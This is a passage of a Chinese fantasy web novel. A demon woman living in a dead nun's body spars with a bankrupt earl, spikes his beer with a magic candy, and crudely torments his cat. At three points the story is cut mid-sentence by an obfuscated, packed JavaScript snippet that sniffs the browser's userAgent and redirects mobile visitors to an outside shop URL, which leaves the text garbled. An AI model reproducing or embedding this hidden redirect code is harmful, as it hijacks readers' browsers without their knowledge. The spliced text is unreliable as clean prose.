窗户的四周盛开着灿烂的蔷薇,远方城镇的微光打在她的身后,逆光的轮廓蕴着一层淡淡的金色,煜煜生辉,蔷薇也在微光中明明灭灭,露出一抹淡淡的绯红,像一幅永不褪色的油画。 杰诺尔看痴了,那张精致的面孔与他回忆中的女子逐渐重合,慢慢地相融,直到再也分不清。 只是他怎么记得,自己家里好像从来没有种过什么蔷薇? 歌声停了,她掩面轻笑。 见杰诺尔来,她没表达出任何好奇,只是轻松地侃侃而言。 “伯爵这就聊完了?看来你真的要破产了,趁着现在还有机会,要不你求求我算了,我养你呀。” “呵…”他嗤笑着,摇摇头,“瘦死的骆驼比马大,就算我破产了,还沦落不到需要靠着女人养活自己。” “哦~~”莉莉贝特故意将尾音拖得老长,窗户外面在下雨,雨滴却一滴都没有吹到她身上,像是被什么凭空阻挡。 “希望你还拥有在没有女仆的帮助下自己穿衣服的技能,希望你还会自己烤面包。不过也是,说不准连这些都用不上,等还了钱,你没准就只能睡在新伦敦桥的流浪汉窝了,连衣服和面包都变成一种奢侈。” 她一边嘲讽着,一边轻盈地跳下窗台,身后的蔷薇瞬间枯萎,花瓣与花叶同时腐烂,化作一摊黑漆漆,散发着恶臭的死水,又骤然蒸发在空气中。 “谢谢你的祝福,不过就算没有了索恩家族的扶持,我也不至于沦落到去流浪,顶多就是家徒四壁而已。” 他自嘲笑笑,望着鲜花凋零,皱了下眉头,想要说些什么,张了张嘴,最终还是都咽了回去。 莉莉贝特扑捉到他的情绪,她毫不在意,优雅地拍了拍手上的灰,余光瞥到身后那些蔷薇,也只是勾了勾嘴角。 她之前就有些猜测,她怀疑杰诺尔可能对自己的身份有所了解,于是存心试探。 她本想着,若是他表达出一丝恐惧和惊讶,就狠狠地用魔法敲他的天灵盖,让他失忆,忘掉这段。 现在看来,不需要了。 他对眼前的奇观并未露出惊讶与恐惧,反倒是一脸怜惜,着让莉莉贝特更加肯定了自己的猜想。 自己复生这件事,他绝对是知情人,说不定还是主导者,或者可能是个自私的幕后真凶。 她莞尔一笑,半开玩笑似地问,“怎么?觉得有些可惜?” 他眉头拧成一条直线,嘴角不屑的勾了勾,“难道不可惜吗?还是说,莉莉贝特小姐,你有别的见解?” 莉莉贝特转过半个身子,从那些枯萎的花枝中摘下一朵。手里已经腐烂了一半的蔷薇飞速鲜活,重新焕发生机,甚至比刚才更加动人。 “你看那些蔷薇,美则美矣,可它们必须依附我才能活下去,可悲不可悲。” 杰诺尔眼中晦暗不明,语气淡然,不自觉握紧双拳,用力挣扎,“丛林法则之下,没有什么可悲不可悲,也没有高低贵贱,无论什么生存方式,都是大家拼命活着的手段。” “说得好,鼓掌。”莉莉贝特腾出一只手,啪啪啪得给他鼓起了掌,笑意盈盈,“不过现在说得这么有骨气,等到了时候,你可别退缩。即便不至于睡桥洞,与家族决裂的事,还是会给你带来很多不便,对吗?” 杰诺尔愣了一下,他有些惊讶,他自认为自己伪装得很好,没想到被莉莉贝特一眼看穿,嘴角慢慢落下。 “真敏锐啊,莉莉贝特小姐,原来你们这个种族,还会读心?”莉莉贝特亮出秘密,他索性也不再伪装。 “那倒不会,”莉莉贝特伸出食指,慢悠悠地左右晃了晃,随机话锋一转,似笑非笑,“其实根本无需会读心,你看你,明知我偷听了你和你父亲的对话,然而一进来,只字不提,越是掩饰,就越是在意,男人都这样。” “那看来莉莉贝特小姐,你对我们男人很了解啊。” 他的语气里掺着点说不清道不明的沉郁,莉莉贝特也没多想。 “说不上了解吧,但对于你,我自认为还是了解的,你自以为自己高深莫测,实则你根本就没有你自己想象中的那么聪慧和擅长伪装。还得多练啊~” “哦?那莉莉贝特小姐,那依你之见,聪慧的你,会给我出什么样的主意呢?” “要我说,现在摆在伯爵大人您面前的只有两条路,要么,顺从你的父亲,去恳求他的原谅,为你的傲慢付出代价。要么,就利用你所拥有的全部非物质条件,像那位你心中永远鲜活的卡珊德拉小姐那样,成为一朵交际花,在各位贵族之间的流转,摇尾乞怜。” 她故意提起“交际花”,想看看杰诺尔会有什么反应。 果不其然,他的脸色瞬间变得很难看,像是在隐忍着什么。双手的指骨攥得嘎吱作响,可抬头对上莉莉贝特的眼睛,又脱了力。 “莉莉贝特小姐,你对我,可以不用这么藏着掖着,想问什么就直接问,不要这么拐弯抹角。” 这话刺痛了他,杰诺尔的表情开始有些绷不住了,暗藏着一丝怒气,隐而不发。 “这可是你说的哦~”她像幽灵一样突然闪现到杰诺尔身边,踮起脚尖,水蓝色的眸子抬头对上杰诺尔的一湾碧水,笑意加深。 “那我可问了~问到什么让你伤心的,你可不许哭鼻子!” “这绝不可能!我才不会哭鼻子,我这辈子就没有哭过鼻子!” 他咬着唇,若不是两人靠得近,莉莉贝特都怀疑他要气得跺脚。 距离近在咫尺,近到连对方的呼吸声都能听见,任何身体上的举动都会被放大十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525327|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倍百倍。 她看见杰诺尔根根分明的睫毛在暮色中闪烁,他在紧张…恶魔小姐露出奸计得逞的微笑。 杰诺尔下意识往后靠,然而后背抵上了一扇坚硬的门板,退无可退。只能眼睁睁地看着恶魔少女露出尖尖的虎牙,在电闪雷鸣的光芒中,仿佛一只从地狱爬上来的魔鬼。 “第一个问题,卡珊德拉,她是怎么死的?想好再回答哦~” 她笑得令人遍体生寒,手里的蔷薇花柄末端不知什么时候变得尖锐。没有人会怀疑它的锋利程度,只要轻轻一戳,再粗壮的血管也会即可炸开,血流满地。 他被逼到贴着门板,退无可退,愤愤不平的牙齿咬破了嘴唇。 “问的真好,第一个问题就问到了我最不想回答的。她的死因,贵族们对外宣称是染上了霍乱,是疾病带走了她如花一般的生命,在她最璀璨的年纪。不过这话,骗骗他们自己得了。” “我也不信什么疾病论,不过你倒是说说,其中有什么内幕?。” “内幕?当然有。一朵名动整个伦敦贵族圈子的交际花,怎么会平白无故染上急病一命呜呼。说实话,我想知道到底是谁杀了她,事实上,若要论凶手,那恐怕不止一个。雪崩的时候,没有一朵雪花是无辜的。” 他闭上眼睛,脱下伪装,面露痛苦,眼角淌着泪水,没让流下。 “那按照你的意思,杀死她的,不是一个人,而是一群人?” 他摇摇头,又点点头,既没肯定也没否定,咬着愤怒说,“他们将她像狗一样玩弄,把她耍的团团转。任她怒放,又促成了她的凋零,搞臭她的名声。” 说着,用手掌蒙住自己的眼睛,克制着翻涌的情绪,唯有止不住颤抖的身体暴露了他的愤怒。 莉莉贝特藏起笑意,眼神一暗。虽没能从杰诺尔口中听到细节,但她已能想象。一个无权无势的女孩,周璇在上流社会,还被冠以“交际花”的污名。她所承受的,恐怕不是常人所想象的。 只可惜她只继承了这具身体,没有继承完整的记忆,要不然也不会像现在这样,像个无头苍蝇似地四处碰壁。 “第二个问题,她为什么要游走在你们贵族之间的圈子里,你可不要告诉我,她只是为了钓一只金龟婿?” 他立马否认,语气激动。 “当然不是…我不允许你这么说她,她视金钱如粪土,怎么可能是为了这种目的!” 将手掌放下后,那双震颤的绿眸与莉莉贝特对视,倒映出来的痛苦那么真实,满怀深意地看着莉莉贝特的脸,翻涌着怀念。 “卡珊德拉,是我见过的最美好的人,她珍惜每一段感情,关心每一个人,灿烂而热烈。” 莉莉贝特丝毫没有被他的情绪干扰,镇定自若地接着说,“那是什么?你说呗~” 语气暗藏着一丝调笑,和一丝冷冷的寒意,望着杰诺尔痛苦地慢慢闭上眼睛。 “是教会,英伦贵族驱逐天主的信徒,卡珊德拉是教会的修女,为了保住她们的信仰,劝说高层保留教堂,她才不得以凭借着自己的美貌回转在各个贵族之间。” 他的话像是打开了莉莉贝特脑子里的潘多拉魔盒,尘封的记忆再次渗漏,她看见卡珊德拉穿着一身洁白的洛可可裙,与身旁衣冠楚楚的英伦绅士交谈。 画面如同幕布轮转,她看见在黑暗中,两个男人正尾随她而来,她拼命地加快脚步,结果被对方发现,两三步就追上了她。 肮脏的手伸了过来,嘴里的污言秽语随之而来。 “装什么装,不这是你邀请我们来你这藏污纳垢秘密场所的吗?想要保住你们的信仰是吧,那就服从我们……” 畜生行径!! 一股从脚底冲上头顶的愤怒让莉莉贝特气得一拳锤在门上,橡木门立马裂开,炸成七八块。 杰诺尔惊讶于她的改变又被她壁咚,正想说什么,被莉莉贝特打断。 “那么,最后一个问题。她的死,跟你有什么关系?我的出现,又和你有什么关系?” 5. 怪力糖 黎明的光沿着地平线缓缓升起,莉莉贝特站在窗口生闷气已经两个时辰了。 她目送着阴雨蒙蒙的天空拉开轻纱一般的帷幕,楼下杰诺尔打着伞,一头耀眼的红发站在雨幕中,不知什么时候扎了个短短的马尾。马尾沾着雨水的潮湿,耷拉在后背。 刚刚被父亲抛弃,又朦胧在雨里,模样有些可怜。 但结合他们刚刚的对话,莉莉贝特只会觉得他活该。 杰诺尔!狗男人,两三句话就把她糊弄了过去。 他说:“莉莉贝特,来日方长,这件事,我希望保留一点神秘感。” 去他的神秘感!他们又不是谈恋爱,还得保留新鲜感。她刚想反驳,楼下就又来人了… 一天天的,也不知道这些人吃错了什么药,非得大晚上来拜访杰诺尔这个阴森森的古堡。 整的跟夜访吸血鬼似的。 而她,偏偏什么都做不了。 也不知怎么的,大概是这具身体那位原本的“圣母”主人遗留的执念在作祟,她发现自己竟然无法对杰诺尔下手。 她本想露出尖尖的牙齿一口咬死杰诺尔这个狗东西,可当她亮起魔法,打算从身后给这个男人来点儿“温暖”,烧一烧他的饱满而不臃赘的翘臀时,她的另一只手!没错她的另一只手,居然不受控制的掐灭了魔焰!!! 离了个大谱,这具身体,不听她的话了! 一定是杰诺尔这个狗男人在背后做了些什么,她暗自笃定。 不行不行,她一定要想点办法,既不能够让杰诺尔看出来她不能对他怎么样,还要想办法突破这个限制,她就不信了,自己一只大恶魔,还在路西法陛下身边干了这么多年的秘书,会对付不了一个人类?? 这要是传回地狱,他们还不知道怎么笑话自己。 不过说起地狱,莉莉贝特有点想家了。她想念魔界的黑玫瑰,想念巨龙盘旋的魔宫屋顶,更想念自己的工作。 路西法陛下打通了时空之门,专注于为魔界打造先进的技术,他派遣大恶魔穿过时空之门前往二十世纪考察时代发展,学习先进的文明,励志打造一个比天堂还要高科技的魔界。 而负责对接这项业务的,本是莉莉贝特。 受到这些先进科技的影响,原本光秃秃的第四狱,被玛门殿下拿去做了什么食品开发,农业研究,开垦荒土。 还专门生产那些奇奇怪怪的零食。 比如,吃了就能长出各种兽耳和尾巴的怪力糖。这些糖已经广泛被运用到魔界的各种桃色场所,无论是表演还是助兴,用过的都说好… 除了糖,当然还有其他东西,几乎只要是魔法能够做到的,那些大恶魔总有办法。 那天玛门殿下好不容易回来,塞给她一袋子果干,她就吃了一口,就一口…结果鬼迷心窍的,当天下午就签下了这个该死的任务,来到这该死的人间,陪着这个男人过家家。 当时陛下笑得意味深长,看得她心里毛毛的,走的时候大家都在欢送她,只有那个天天跟她作对的尤金,忸忸怩怩,涨红了脸,一幅想挽留又说不出口的模样。 从前觉得那个混小子哪哪都讨厌,现在居然还有点想他。 莉莉贝特托着腮,站在窗台罚站。 楼下,杰诺尔还在与男人说着什么。男人极具磁吸的嗓音传来,声音很小,应该是有故意的压低,听不清说话内容。 “小气鬼!喝凉水!!” 她恶狠狠地折断了一朵手里怒放都蔷薇,将所有的花瓣一股脑拨下来,踩在脚下,碾得粉碎,仿佛这样就能出气。 可怜的蔷薇,被她扒了花瓣还不够,花茎也揉成了一团,她愤愤不平地搓了搓,花瓣变回了魔法最初的样子,化作星星点点的碎屏消散在空气中。 “杰诺尔,狗男人!” 她将愤怒发泄在这朵蔷薇上,又搓了搓,什么东西硌了一下手。摊开手掌一看,竟然是一块黑色咖啡豆形状的不明物体。 诶!好像是一颗怪力糖?!! 寻常魔族吃了这东西会长出兽人的耳朵和尾巴,如果是人类呢? 她有点好奇,楼下的对话声小了。隐约能听见杰诺尔收了雨伞,回到了一楼古堡大厅的动静。 天色渐亮,地平线逐渐分明,窗户玻璃上的恶魔小姐露出恶作剧般的微笑。 伯爵浑然不觉,他头疼得紧,方才来的是家里的老管家,忠言逆耳劝他跟索恩公爵服软。 但,他必不可能服软。 “亨利,帮我把古堡里值钱的东西找出来,送到伦敦去典当。玛丽,拿些衣服,行李,整理一下,我们明天就离开。” 带着贝雷帽的小亨利和女仆装的玛丽相视一眼,两人都没动。 “是聋了吗?我让你们收拾东西!” 他心口一阵突突地疼,扯着他的每一寸呼吸,每说一个字,都难受的紧。 “好…” 两人异口同声,这才终于动了起来。 他捂着心口,眼前一阵一阵发黑,扶着长桌一角才没倒下。 凡事终有代价,他之所求难求,他非要强求,总会有报应的。 客厅里寂静的可怕,关上门便不见天日,恍如月夜,他也习惯了。 三年里,他听说鬼魂畏光,所以自卡珊德拉死后就再也没有用过灯具,他期盼着某位善良的金发小姐回来看他一眼,可惜,一次都没有。 直到,莉莉贝特回来了。 用着他最心爱的卡珊德拉的脸,却截然不同的性格。 卡珊德拉善良内敛,莉莉贝特精怪张扬,完全不一样,又那么相似。 他习惯性坐下,伸手去摸左手边的扎啤桶,摸了个空。 玛丽越来越讨厌了,借着收拾的理由,把他的东西藏起来,已经不是第一次了,还声称是为了他的身体好,女仆骑到主子头上,翻了天了。 他觉得自己就是脾气太好,一个两个都不把他放在眼里了。 他要扣玛丽的薪水! 然而心里另一道声音吐槽道:杰诺尔,前提是,你还发的起下个月的薪水。 瞎说什么大实话!他躁动的把头发揉成一团,揉的乱七八糟,揉完以后对镜一瞧,自己先笑了,活脱脱就像一只宰了等拔毛的火鸡。 古堡大厅的角落里堆着一排啤酒木桶,橡木与麦芽在里面碰撞,发出“滋滋”的发酵声。 他口干舌燥,焦躁不安地在酒柜里翻来翻去。 高脚杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525328|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …不行,谁拿这东西喝啤酒。 陶瓷杯?东方人喜欢的东西,文邹邹的!啤酒是旷野的浪漫。 这个不行,那个也不行! 怎么就,一个用来喝啤酒的合适杯子都没有呢! 强迫症说犯就犯,他暴躁的在柜子里翻来翻去,心里那股烦躁越来越明显。 “伯爵大人在在找什么?” 是玛丽的声音。 “我的扎啤桶呢?” 他没回头,一个劲一根筋地找。 “扎啤桶?” 玛丽的语气听起来有些疑惑。 “对啊!扎啤桶,我喝啤酒用的那个杯子。” “喔~是那个啊。” 玛丽的口吻听着有些古怪,他好不容易平复的心脏这会儿又毛毛的,忍不住回头看。 然而令人脚底发寒的是,他身后空无一人。 不知从哪吹来一阵凉风,他打了个冷颤,鸡皮疙瘩掉一地。 玛丽的声音从走廊深处悠悠的传来。 “桌上有个搪瓷杯,我想它应该符合你的要求。” “搪瓷杯?” 杰诺尔从未听过这个名词,他往桌上扫了一眼,果然上面多了一个白白的杯子,形状和扎啤桶差不多大,倒是确实合适,上面写着方方正正的东方文字,他看不懂,写的是什么“劳动最光荣”? 杯底黑黑的,他从来没用过这种杯子,以为是什么特别设计,心想玛丽向来做事认真,应该不会拿脏兮兮的杯子给他用吧。 怀疑的心慢慢落下。 酒瘾上来了,挡都挡不住。 口舌干燥的感觉越发明显。 他再也忍不住了,拿起那个“搪瓷杯”,接了满满一大桶啤酒,仰头咕噜咕噜一饮而尽。 淡淡的麦芽和苹果味在嘴里散开,他大吐一口气,打了个嗝,心里终于畅快了,心满意足地舔了舔嘴唇。 就是怎么感觉,这个酒的味道有点怪怪的,混着一股子奇怪的甜味,像是水芹汁熬成了糖浆,融进了他的啤酒里。 奇怪!难道他的啤酒坏掉了? 不应该啊,这几桶啤酒都是新酿的,用的是上好的麦芽和苹果。 他不信邪,又用那个杯子接了一杯,细嚼慢咽的吞下。 奇怪的味道比刚才淡了一些,难道说,是刚刚的杯子不干净? 他低头一瞧,杯底白了? ????? 他顶着满头问号,喉咙发痒,肚子咕噜一声。他突然一阵烧心,有一种想要呕吐的冲动。 他刚刚,喝了啥??? “玛丽!!”他大喊。 分贝大到吵醒了城堡屋顶的群鸦,它们煽动翅膀,翅羽落在怪诞石像的眼眶里,石像也仿佛睁开了眼睛。 “怎么了,怎么了…” 正在顶楼收拾杂物的玛丽顶着一头蜘蛛网跑下来,小亨利也从书房里探出头来。 杰诺尔看见玛丽跑得气喘吁吁,声音也因为吸了粉尘而沙哑,变得深沉… 他知道玛丽对灰尘过敏,每次大扫除后都会变成公鸭嗓。 那么刚刚…… 用脚想也知道是谁干的! “莉莉贝特!” 6. 做我的猫 “这样直呼一位淑女的名字,不太合适吧,伯爵大人。” 莉莉贝特站在二楼楼梯口,笑眯眯地趴在栏杆上,俯瞰着他。 杰诺尔气不打一处来,他嘴角抽搐着,想发作又不得不保持绅士作风,只好冷笑一声。 毕竟莉莉贝特会出现在这里,他一定程度上是得负主要责任的。 说多了都是泪。 “莉莉贝特小姐,刚刚我桌上那只奇怪的白色杯子,你可知情?” 莉莉贝特不是没有听出他话中咬牙切齿的试探,但身为一个大恶魔,她认为做坏事就像是做好事一样,不留名才是正确的。 她才不会承认,让杰诺尔着急去吧。 她故意做了个鬼脸,装作娇嗲,捂着脸偷笑。 明明她毫无掩饰,暴露得都那么明显了,却还要故作惊讶,连连否认。 “什么白色杯子?我刚刚一直在楼上,没有下来过哦~” 她捂着嘴,弯弯的眉脚暴露了她的幸灾乐祸。 楼下的杰诺尔一半脸挂着阴测测的笑容,一半脸藏在光影暗处,看着脸色不大好。 “莉莉贝特小姐,我希望您能为您所说的每一句话负责。” 莉莉贝特假装恍然大悟。 “难道伯爵大人您指的是您柜子里那些漂亮的东方白瓷吗?这些的话,我当然见过!我不仅见过,有只玲珑小巧的茶杯我还非常喜欢,偷偷摸了一把,它的手感冰冰凉凉,非常不错,不知能否借给我泡杯茶。” 莉莉贝特她当然知道自己暴露了,但只要她不承认,在这里,在这个世界,还没有人类敢将火炮架在她的脖子上逼她承认。 杰诺尔的眼神望眼欲穿,炽热得就像要在人身上戳出一个洞来。 “当然可以,你想要什么都可以,只要我还能见得到明天的太阳。” 玛丽察觉到伯爵的语气有些不对劲,刚要开口,就被小亨利戳了戳,对方疯狂用眼神告诫她不要参与。 她悻悻地闭上了嘴,把话都咽了回去。 只要莉莉贝特越说越勇,一双狡黠的眼珠子转来转去。 “当然了,为了得到您的杯子,我一定保证让您见得到明天的太阳。不过您为什么会这样问呢,明天的太阳如此美好,您这样年轻,要我说,就算见不到也没有关系,因为您就是明天的太阳啊。” 她的调侃并没有让杰诺尔脸色好看多少,他站在大门阴影处,依旧笔直,全身都散发着一种生人勿近的气质,嘴角挂着冷笑,仿佛无时无刻不在发散着他刻意营造的“友好”。 即使他知道莉莉贝特搞了鬼,他似乎也没打算真要生气。 “这事说来话长啊,刚刚有只小老鼠站在我身后,不知从哪找了个奇怪的杯子给我用,还加了料。莉莉贝特小姐,你说她是不是想让我见不到明天的太阳?等我死了,好继承我好几千万金币的账单。” “呵呵…” 莉莉贝特一声轻笑落下,满是漠然与讥讽。 这个男人,精得很,什么都没发生,就已经开始琢磨着让她给他还债的事了。 她暗暗在心里给杰诺尔竖了个中指。 “伯爵说笑了,一只老鼠不过巴掌大,怎么可能搬得动杯子。没准,您刚刚只是做了个梦呢?还有您的欠款账单,当然是应该由您自己还。” “那这…可真是个噩梦呢。” 他冷冷的,带着自嘲的话语,落在空气中。 两人各怀鬼胎,各有秘密。都不傻,选择了不戳破,保持着这种微妙的平衡。 太阳东升西落,斗转星移,晨曦再现。 莉莉贝特兴奋得彻夜未眠,她实在是太好奇了,很想知道那颗怪力糖会对杰诺尔的身体产生什么影响。 临近新一日的黎明,她再也躺不下了,蹑手蹑脚推开房门,打算去一探究竟。 她站在走廊上,走廊中间那一扇胡桃木房门的房间就是隶属于杰诺尔的,那只金吉拉总在附近喵喵叫,对着门摇尾巴,时不时扒拉两下,像是要进去,又没人给它开。 看见它,这只猫圆溜溜眼睛里闪过一丝不捉痕迹的闪躲,但也仅有这一瞬,莉莉贝特一靠近,它高傲地竖起高高的大尾巴,一双幽瞳在黑暗中散发着绿光,目不转睛盯着来人。 那姿态,像是在警告,又像是审视。 都说宠物像主人,今日一见果然如此,这金吉拉傲的,在莉莉贝特看来就跟杰诺尔一个模子刻出来的。 莉莉贝特喜欢小动物,但她不喜欢总是要自己热脸贴冷屁股的小动物。 尤其,杰诺尔养的这只猫,今晚对她格外有敌意。 她分明记得前不久她们刚刚缓和关系,她还如愿以偿摸到了,怎么就突然又不让她靠近了? 多半是杰诺尔那个狗男人对小猫说了些什么! 她堂堂一个大恶魔,居然要跟一只猫争夺领地,说出去都好笑。 她想守在杰诺尔的房门口,哪怕是蹲在这里也行,然而那只白猫偏偏要跟她作对,像个守卫屹立在杰诺尔的房间门口,只要她一靠近就喵喵叫,背上的白毛竖起。 “喵~喵~~” 在寂静的古堡回荡。 一只大恶魔,怎么可能被一只猫拿捏,莉莉贝特薄唇微扬,纤细的手指在空中比划了两下,一个魔法阵赫然亮起。 那猫显然没有意识到危险的靠近,虎视眈眈地盯着莉莉贝特,怎么也不让她靠近。 她狡黠地眯了眯眼睛,将璀璨的白发肆意撩起。 “亲爱的,我给你最后一个机会,是选择让开呢,还是选择在空中遨游一番。” “喵喵~” “你放心,我会让你回来的,会让你回到你主人身边,”她的笑容毫无温度,“不过至于是是死是活,那我就不知道了。” 她的咒语是漂浮咒,中咒者会呈现出漂浮状态,在咒语维持时间内飘在半空中。 像是听明白了她的话。 “喵——”金吉拉发出一声凄厉刺耳的尖叫,摆出战斗姿态对着她哈气。 恶魔小姐最不吃的一套就是威胁,谁要是敢在她面前亮出爪子,那就得有承担后果的勇气。 “别担心,小猫,我会尽可能温柔的。” 来自地狱的风席卷着潮湿的空气,轻而易举就将那只摆出攻击姿态的猫儿吹起,它好像脱离了地心引力,在空中茫然的伸出爪子抓了几把,扑了个空。 恶魔小姐笑得四仰八叉,目光时不时往杰诺尔的房间飘去。这么大动静,里面那个男人居然还睡得心安理得? “怎么样,小猫,你要投入姐姐的怀抱吗?做我的猫,还是…选择被钉在墙上呢?” “喵呜!喵呜!!” 白猫被旋转的空气翻转着,不受控制的将肚皮暴露在莉莉贝特的视线中。 只见金吉拉圆润雪白的肚皮上,厚厚的毛被风吹得倒向一边,两只圆溜溜的铃铛挂在尾巴根部,也朝着风的某个方向偏移。 它的眼中满是惶恐,但还在强装镇定,在意识到莉莉贝特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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视线慢慢汇聚在小猫两颗圆润的铃铛上,她突然有了主意。 干这事她觉得还是有点猥琐的,但谁能拒绝两颗圆润的小猫铃铛呢。 反正杰诺尔不在,就算她玩了,也没人知道。 手有点痒,鬼迷心窍,她伸出了那只没有受伤的左手。 金吉拉被风转来转去,折腾得大概是有点死了,正在摆烂放弃抵抗。它眯着眼睛,吐着舌头喘气,一副任人宰割的样子。 恶魔小姐的恶趣味之魂熊熊燃烧。 伸出的手在空中优雅的转了转,带着想要恶作剧的雀跃,在即将接触到时又停下。 嘴角一弯。 恶魔小姐的眼神亮了。 她轻轻一弹。 两颗小铃铛“DuangDuang”相互撞了撞,弹性真好。 如果是人类的那东西她会觉得污了自己的眼睛,但是小猫的就不一样了,她只会觉得有趣。 有趣程度就是,连吃了她怪力糖粉的杰诺尔都被忘到了九霄云外。 笑得眼睛都眯成一条缝,恶魔小姐像是找到了什么不得了的玩具,捂着嘴偷笑,等两颗铃铛归位,她又用食指弹了弹。 完全没有注意到白猫睁着大大的,震惊的眼睛,浑身僵硬,一脸视死如归的表情。 7. 噶…蛋? “也不知道离开了城堡,我们还能去哪里?” 玛丽手脚麻利地整理着伯爵常用的衣服和生活用品,亨利找来了几个大箱子,他们一件一件往箱子里塞东西。 “这是伯爵常用的礼服,必须带上。” “这是伯爵睡觉必用的安神香,没有它不行。” “这是伯爵……” 二人手里有条不紊地整理东西,脸上的表情一个比一个悲伤。 莉莉贝特抱着生无可恋的金吉拉站在楼梯口,不安分的双手还捏在小猫咪Q弹的铃铛上。 金吉拉起初挣扎的很厉害,就像莉莉贝特干了什么伤天害理的大事,拿走了它清白似的,上蹿下跳,然而一套柔软咒就放倒了。 莉莉贝特本想把它扔到屋顶的怪诞石像嘴里去,然而自从玩上了猫咪铃铛,她就舍不得放下了。 她抚摸着金吉拉柔顺的毛,居高临下望着楼梯下二人。 看他们一副如临大敌、认真收拾的模样,她实在忍不住开口打击。 “你们伯爵是被断了经济来源赶出家族的,不是去享受生活的,你们给他收集那么多值钱的东西有什么用?不如把它们都换成金币存进伦敦银行,带着这些东西,到时候他睡在伦敦大桥桥墩下面,那群流浪汉怕是会把他内裤都扒掉。” 她话音刚落,手里的白猫全身白毛都竖了起来。 她低头假意安抚,手上却越发不老实。 “哎呀,放心吧,就算他破产了,我也不会不管你的,小可爱…” 她笑得不怀好意,手掌一摸,指节清晰的摸到了金吉拉全身绷得紧巴巴的肌肉。 它在紧张,但因为被莉莉贝特禁锢,嘴里只泄出威胁的哈气声。 呵… “再乱动,就把你蛋嘎了!” 她贴近金吉拉的耳旁,用温柔的,最平易近人的口吻轻轻地说。语气一点儿也不像在威胁,说出的话却让人遍体生寒。 “你也不想变成猫妹妹吧。” 冰冷的手指在猫毛中自由穿梭,带着几分恶作剧的肆意,在猫身上轻轻撩拨。 金吉拉浑身猛地一僵,喉咙里的哈气被硬生生掐断。 莉莉贝特目光不及之处,它双目瞪圆,幽绿色的眸子里满是屈辱。若它此刻能够口吐人言,怕是要把莉莉贝特祖宗十八代都问候一遍。 偏偏始作俑者一脸无辜,看着人畜无害,白纱裙的裙摆随着二楼走廊窗户吹进来的风轻轻飘荡,仿佛一个坠落人间的天使,没有半分坏心眼。 “莉莉贝特小姐,你在说什么?” 玛丽一直专注于收拾行李,莉莉贝特刚刚说的那些话,她没太听的清,半晌听见她和猫拌嘴才后知后觉,抬头询问。 “她能说什么,一天到晚就会吓唬人。” 亨利自从上次被她吓到后就对她有了心理阴影,每次莉莉贝特说什么,他都选择习惯性无视,堵住耳朵来听,生怕自己再次被她影响到。 没听见就没听见吧,人类的偏见不会对她产生任何影响,她也不会像个傻子一样一遍又一遍去给人家重复自己说过的话。 人各有命,就算是穷凶极恶的恶魔,也不能一而再再而三的干涉他人命运。 “没什么,我只是在和小猫咪说话呢,我说小猫真可爱,是不是啊,小—猫—咪——” 小猫被她抱在怀里,两只后腿悬挂在二楼楼梯悬空处,仿佛只要它敢“喵呜”一句否认的话,恶魔小姐就会让它付出代价。 它大气都不敢出。 “猫?”玛丽一头雾水,她眼神不大好,只能看见莉莉贝特手里抱着一个白色的东西。 她完全没有想到是伯爵养的那只金吉拉,因为今天一大早那只猫就被“甜心宠物店”的老板亲自接走了,今天是小猫定期洗护的日子。 伯爵对这只猫很好,就算现在破产了,也没吩咐过克扣小猫的任何东西。 “莉莉贝特小姐,您是抓了附近的野猫吗?如果是的话,请您务必小心,野猫身上不干净,可能接触过泰晤士河河边的霍乱病人,虽然目前没有任何证据证明只要与他们接触就会生病,但与和他们有关的一切保持距离总是没错的。” 听了她的告诫,莉莉贝特不仅没有放过猫儿,反而在对方的原始袋上揉了一把,露出满意的表情,完全不顾猫的窘迫。 “是啊……我抓了一只又火辣又喜欢装的小野猫,正爱不释手呢。如果能让我一直抚摸它身体的各个部位,就算让我得霍乱也没有关系。” “那你最好哪天真得霍乱!” 小亨利嘴里咕哝着,他说话很小声,但也没瞒过莉莉贝特的恶魔听力。 玛丽离得近,一字一句全都听见了,她立马捂住了他的嘴,小声警告。 “亨利,伯爵交代过,我们不可以对莉莉贝特小姐不敬。” “哼…我才不管。” 亨利自知理亏,嘴硬一秒,低了下头。 莉莉贝特不跟他计较,手里的“猫玩具”让她心情愉悦,她正要将猫带进房间狠吸一口,结果一转头… 猫突然反抗。 它张开血盆大口,用力咬住了莉莉贝特的手指。 “嘶——” 莉莉贝特应激性手一松,金吉拉趁机踩着她的手跳到楼梯扶手上,警惕地望着她,尾巴竖起。 “好过分,你是想噶蛋了吗?” 莉莉贝特捏着受伤的手,故作受伤。 但它显然已经不吃这套了,莉莉贝特看见他脊背弓起,毛发像电烤般炸开、尾巴也炸毛。 它软硬不吃,莉莉贝特借机使用魔法绕后,打算趁其不备再次抓住它。 然而它好像是意识到了什么,在扶手处站稳后又迅速跳下,打滑了好几次,最终连滚带爬逃走了。 刚刚那一咬,在莉莉贝特的手背上留下了一道浅浅的月牙形牙印。 